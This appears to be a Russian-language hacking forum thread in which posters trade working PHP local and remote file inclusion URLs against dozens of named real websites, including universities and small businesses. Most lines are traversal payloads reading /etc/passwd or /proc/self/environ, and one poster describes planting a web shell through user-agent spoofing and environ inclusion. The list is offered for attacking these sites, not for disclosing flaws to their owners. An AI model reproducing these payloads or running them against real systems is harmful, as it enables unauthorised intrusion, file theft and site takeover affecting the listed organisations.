PHP Иньекции

Code:

http://www.halalapalooza.com/d.php?id=[LFI]

 

Code:

http://www.ksu.ru/f9/k2/new/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc/passwd%00

PR7, тИЦ 2100

 

Пхп-инъекция на сайте aphorism-list.com с возможностью залить шелл.

http://aphorism-list.com/frasy.php?page=../../../../../../../../../../../../../../../../../../../etc/passwd%00
http://aphorism-list.com/frasy.php?page=../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Шел без проблем льется при подмене user-agent и инклудом /proc/self/environ (кто читал последнего хакера точно поймет)

Кстати, на хостинге лежит дистрибутив windows xp sp3)

И еще, подскажите, почему не всегда можно заинклудить /proc/self/environ (естественно системы никсовые)? Прав не хватает?

 

http://www.leonardo-co.com/index.php?folder=Career&page=../../../../../../../../../../etc/passwd
http://www.bonnarealty.com/home.php?inc=../../../../../../../../etc/passwd

 

http://www.tallinnamerepaevad.ee/est.php?page=../../../../../../../../../../etc/passwd%00

 

Code:

http://stanleycup.crash.sk/sc.php?id=[color="red"][LFI][/color]

Code:

http://www.dalcomstechnologies.com/pricing.php?id=[color="Red"][LFI][/color]

 

http://www.pillows.jp/20th/p/index.php?page=../../../../../../../../../../../../etc/passwd%00

 

Инъекции на 2ух японских сайтах

http://www.holos.jp/index.php?page=../../../../../../../../../../../../../../../../../../../../../../etc/group

http://mobasp.jp/page.php?cat=../../../../../../../../../../../../../../../../../../../../etc/passwd

 

Опять решил полазить поискать php inj:

http://www.fitnessmanager.ru/index.php?page=../../../../../../../etc/passwd

 

Code:

http://www.handballneuchatel.ch/httpdocs/index.php?inc=../../../etc/passwd%00

Code:

http://www.robotsandbotanics.de/index.php?inc=../../../../../../../../etc/passwd%00

Code:

http://www.tasteone-medientechnik.de/index.php?inc=../../../../../../../etc/passwd%00

Code:

http://www.haldergmbh.de/index.php?inc=/etc/passwd

Code:

http://blesk.issa.cz/index.php?inc=index.php%00

 

http://wow.crpg.ru/modules.php?op=modload&name=..&file=index
просмотр файлов

 

Code:

http://iea.uoregon.edu/page.php?query=static&file=/../../../../../../../../../../../../../etc/passwd
http://occs.odu.edu/page.php?page=news_security/../../../../../../../../../../../../../../../../../../../../etc/passwd
http://languagesupport.msu.edu/page.php?toggle=5&id=SectionProfDev/../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

 

http://www.veye.com.ua/doc.php?d=../

 

Code:

http://www.emini-collection.ch/index.php?file=../../../../etc/passwd%00

Code:

http://www.jolly-dent.de/index.php?file=/etc/passwd%00

Code:

http://www.e-medica.jp/index.php?file=../../../../../etc/passwd%00

 

http://www.ruspi.ru./?page=[local]

 

Code:

http://www.ie.rmutk.ac.th/index.php?file=../../../../../../../etc/passwd

Code:

http://www.cdu-rhauderfehn.de/index.php?folder=pages&file=../../../../../../../etc/passwd

 

Code:

http://yuanpei.pku.edu.cn/old/index.php?option=com_content&task=view&id=[RFI]

 

http://www.tzimakos.gr/print.php?id=/proc/self/environ

http://my.getmorediamonds.com/getstarted.php?id=index.php&url=../../../../../../etc/passwd

http://www.joeplecker.com/display.php?id=/proc/self/environ

http://petercottontailpreschool.com/index.php?id=/etc/passwd